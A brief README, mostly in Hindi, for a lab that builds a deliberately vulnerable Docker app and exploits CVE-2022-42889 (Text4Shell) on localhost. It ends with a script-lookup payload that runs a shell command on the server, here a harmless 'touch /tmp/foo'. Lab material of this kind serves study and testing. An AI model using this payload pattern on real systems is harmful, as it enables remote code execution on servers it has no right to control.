Text4shell--Automated-exploit---CVE-2022-42889

maven स्थापित करें - maven-linux

//स्वचालित हैकिंग के लिए: 1../install.sh

2../exploit.sh

3.ऐप्लिकेशन हटाने के लिए ./stopapp.sh का उपयोग करें

//मैन्युअल हैकिंग के लिए:

1. फैट jar बनाने के लिए Maven install करें

mvn clean install

2. Docker build करें

docker build --tag=text4shell .

3. Docker run करें

docker run -p 80:8080 text4shell

4. ऐप का परीक्षण करें

http://localhost/text4shell/attack?search=<anything>

5. हमला एक स्ट्रिंग “${prefix:name}” पास करके किया जा सकता है, जहाँ prefix उपर्युक्त lookup है:

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}